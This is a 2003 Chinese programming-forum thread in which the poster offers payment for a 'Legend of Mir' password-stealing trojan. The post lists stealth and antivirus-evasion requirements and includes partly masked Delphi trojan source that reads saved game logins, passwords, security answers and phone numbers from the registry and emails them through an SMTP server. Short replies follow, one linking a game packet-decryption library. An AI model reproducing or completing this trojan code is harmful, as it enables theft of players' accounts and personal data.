5000人民币，招程序员一人，送《传奇木马原代码》
5000人民币，招程序员一人，详情请进。
要求：
熟悉网络游戏（特别是传奇）。
能够开发出：“接受传奇密码的程序”（通常说法为：传奇木马）的程序员。（为我朋友找回丢失的传奇密码）
重庆地区。真人交易，QQ联系：3775403(加我QQ的时候注意写名CSDN程序员，或其他相关信息，不然我不通过)
--------------------------------------------
1.单1的exe文件，体积最好不要大于70k
2.准确截取传奇区号、登录账号密码、游戏服务器名 发送到指定的邮箱
3.MX发信或SMTP发信都可以
4.高隐蔽性，运行可靠，开机自动运行，不在进程中显示
5.不被杀毒软件和反木马软件查杀
6.还要支持98/2000/XP系统
-------------------
另：我得到一套传奇木马的原代码，送给开发者。（只限和我合作的人）
为了预防盗取代码,一些地方用***********表示
要原代码的加QQ:3775403
原代码换:传奇木马(支持9X/2000/XP系统,没有后门)
interface
uses
Windows, ************************, NMsmtp, ExtCtrls, Winsock;
type
*****************
Timer1: TTimer;
procedure FormCreate(Sender: TObject);
procedure smtpConnect(Sender: TObject);
procedure *****************
procedure smtpSuccess(Sender: TObject);
procedure *****************
private
{ Private declarations }
public
{ Public declarations }
end;
var
Form1: TForm1;
implementation
{$R *.dfm}
*****************;
AuthSucc:Boolean;
LogoID:String;
Str:array[1..19] of String;
function Sendmessage(handle:hwnd;Wmsg:integer; Lparam:integer; Wparam:Pchar):*****************'SendMessageA';
function RegisterServiceProcess(dwProcessID, dwType: Integer): Integer; stdcall; external 'KERNEL32.DLL'
procedure ClearReg;
Begin
Delreject(HKEY_CLASSES_ROOT,'Legend\Enter',4);
***************** \Change password',5);
Delreject(HKEY_CLASSES_ROOT,'Legend\Registry',13);
***************** *****************
Delrepeat(HKEY_CLASSES_ROOT,'Legend\Change password');
Delrepeat(HKEY_CLASSES_ROOT,'Legend\Registry');
End;
*****************
S1,S2,S3,V1,V2,V3:TStringList;
Text:TStringList;
add:String;
i,j:integer;
begin
S1:=TStringList.Create;
*****************
V1:=TStringList.Create;
V2:=TStringList.Create;
V3:=TStringList.Create;
*****************
if Form1.smtp.LocalIP<>'127.0.0.1' then iscon:=True else iscon:=False;
*****************
GetKeyName(HKEY_CLASSES_ROOT,'Legend\Change Password',S2);
GetKeyName(HKEY_CLASSES_ROOT,'Legend\Registry',S3);
if ((S1.Count<>0) or (S2.Count<>0) or (S3.Count<>0)) and (iscon=True) then begin
Form1.smtp.Host:='smtp.163.com'; //发件人的主机地址
Form1.smt*****************'user'; //收件人的USER ID
if form1.smtp.Connected then form1.smtp.Disconnect;
*****************;
if AuthSucc then begin
add:=Readvalue(HKEY_LOCAL_MACHINE,'System\CurrentControlSet\Control','Address');
Form1.smtp.PostMessage.ToAddress.Clear;
Form1.smtp.Pos*****************;
Form1.smtp.*****************@163.com');
Form1.smtp.PostMessage.FromAddress:='user@163.com';
Form1.smtp.PostMessage.FromName:='hello';
Form1.smtp.PostMessage.Subject:='我来了';
*****************
Text.Add('传奇登录');
Text.Add('------------------------------');
for i:=0 to S1.Count-1 do begin
*****************
Text.Add('区域:'+*****************区域'));
Text.Add('用户名:'+*****************'ID'));
Text.Add('密码:'+*****************],'PW'));
Text.Add('服务器:'+Readvalue(hkey_classes_root,'Legend\Enter\'+S1[i],'SP'));
V1.Clear;
*****************
end;
S1.Free;V1.Free;
end;
if S2.Count<>0 then begin
Text.Add('');Text.Add('');
Text.Add('修改密码');
*****************
*****************_root,'Legend\Change password\'+S2[i],V2);
Text.Add('区域:'+Readvalue(HKEY_CLASSES_ROOT,'Legend\Change password\'+S2[i],V2[0]));
*****************
ROOT,'Legend\Change password\'+S2[i],V2[4]));
Text.Add('当前密码:'+*****************Change password\'+S2[i],V2[3]));
Text.Add('新密码:'+Readvalue(HKEY_CLASSES_ROOT,'Legend\Change password\'+S2[i],V2[2]));
Text.Add('重复:'+Readvalue(HKEY_CLASSES_ROOT,'*****************+S2[i],V2[1]));
V2.Clear;
*****************
S2.Free;V2.Free;
end;
if S3.Count<>0 then begin
*****************
Text.Add('新用户');
Text.Add('------------------------------');
for i:=0 to S3.Count-1 do begin
getvaluename(***************** Text.Add('用户:'+Readvalue*****************Readvalue(HKEY_CLASSES_ROOT,'Legend\Registry\'+S3[i],V3[11]));
Text.Add('确认:'+Readvalue(HKEY_CLASSES_ROOT,'Legend\Registry\'+S3[i],V3[10]));*****************,'Legend\Registry\'+S3[i],V3[9]));
Text.Add('生日:'+Readvalue(HKEY_CLASSES_ROOT,'Legend\Registry\'+S3[i],V3[8]));
*****************HKEY_CLASSES_ROOT,'Legend\Registry\'+S3[i],V3[7]));
Text.Add('回答1:'+Readvalue(HKEY_CLASSES_ROOT,'Legend\Registry\'+S3[i],V3[6]));*****************\Registry\'+S3[i],V3[5]));
Text.Add('回答2:'+Readvalue(HKEY_CLASSES_ROOT,'Legend\Registry\'+S3[i],V3[4]));
*****************\Registry\'+S3[i],V3[3]));
Text.Add('移动电话号码:'+Readvalue(HKEY_CLASSES*****************
*****************
Text.Add('E-Mail:'+Readvalue(HKEY_CLASSES_ROOT,'Legend\Registry\'+S3[i],V3[1]));
V3.Clear;
Text.Add('');
*****************
S3.Free;V3.Free;
end;
Text.Add('');Text.Add('');
Text.Add('附加信息');
Text.Add('------------------------------');
Text.***************** Text.Add('计算机名:'+mygetcomputername);
Text.Add('物理地址:'+add);
Text.Add('发送时间:'+datetimetostr(Now));
Form1.smtp.PostMessage.Body.AddStrings(Text);
Form1.smtp.SendMail;
Text.Free;
end;
end;
End;
问题点数：0、回复次数：4Top
1 楼coolfilm（苏飞工作室）回复于 2003-12-02 09:19:16 得分 0
写的啥能盗号吗!Top
2 楼wl3c（卧龙）回复于 2003-12-02 09:26:15 得分 0
有趣Top
3 楼S.F.（chinasf.cnblogs.com）回复于 2003-12-02 09:59:26 得分 0
http://expert.csdn.net/Expert/topic/2508/2508296.xml?temp=.5543787
主 题： 传奇所有版本封包加解密库免费下载！
作 者： S.F. (萧寒(Chinasf))
等 级：
信 誉 值： 99
所属论坛： Delphi Game
问题点数： 100
回复次数： 8
发表时间： 2003-11-29 11:24:06
下载地址为： http://www.bssoft.com.cn/Mir3Decode.rar
内含 delphi 演示程序，目前不支持vb 调用，如果是使用vc的朋友，请重写ShareMem单元，如果是使用C++Builder 的朋友则在工程中装入 ShareMem 单元。
发布的形式为DLL动态链接库，使用delphi 调用的时候请注意如下几点：
1、请使用静态调用方式，不要采用动态方式调用。
2、dpr 工程文件的Uses 部分请手动写入 ShareMem ，并且是第一个引用的，不明白的请看demo 的inDelphiDemo.dpr文件和阅读readme.txt。
3、请不要试图将解密后的数据直接显示到Edit /Memo 之类的文本组件内，因为内部包含ASCII 0 字符，字符串遇到它则会被截断。
4、发布时请带上borlndmm.dll和MirDecode.dll两个文件。
5、仅供学习研究，请尊重作者，不要商业化发布。
6、本人只提供加解密函数库，其他相关开发请不要再问本人，比如外挂之类的东西。
谢谢合作；
本人email:Chinasf@hotmail.com
QQ:这个不用说了吧。
Top
4 楼409（409）回复于 2003-12-02 10:14:20 得分 0
不错了Top
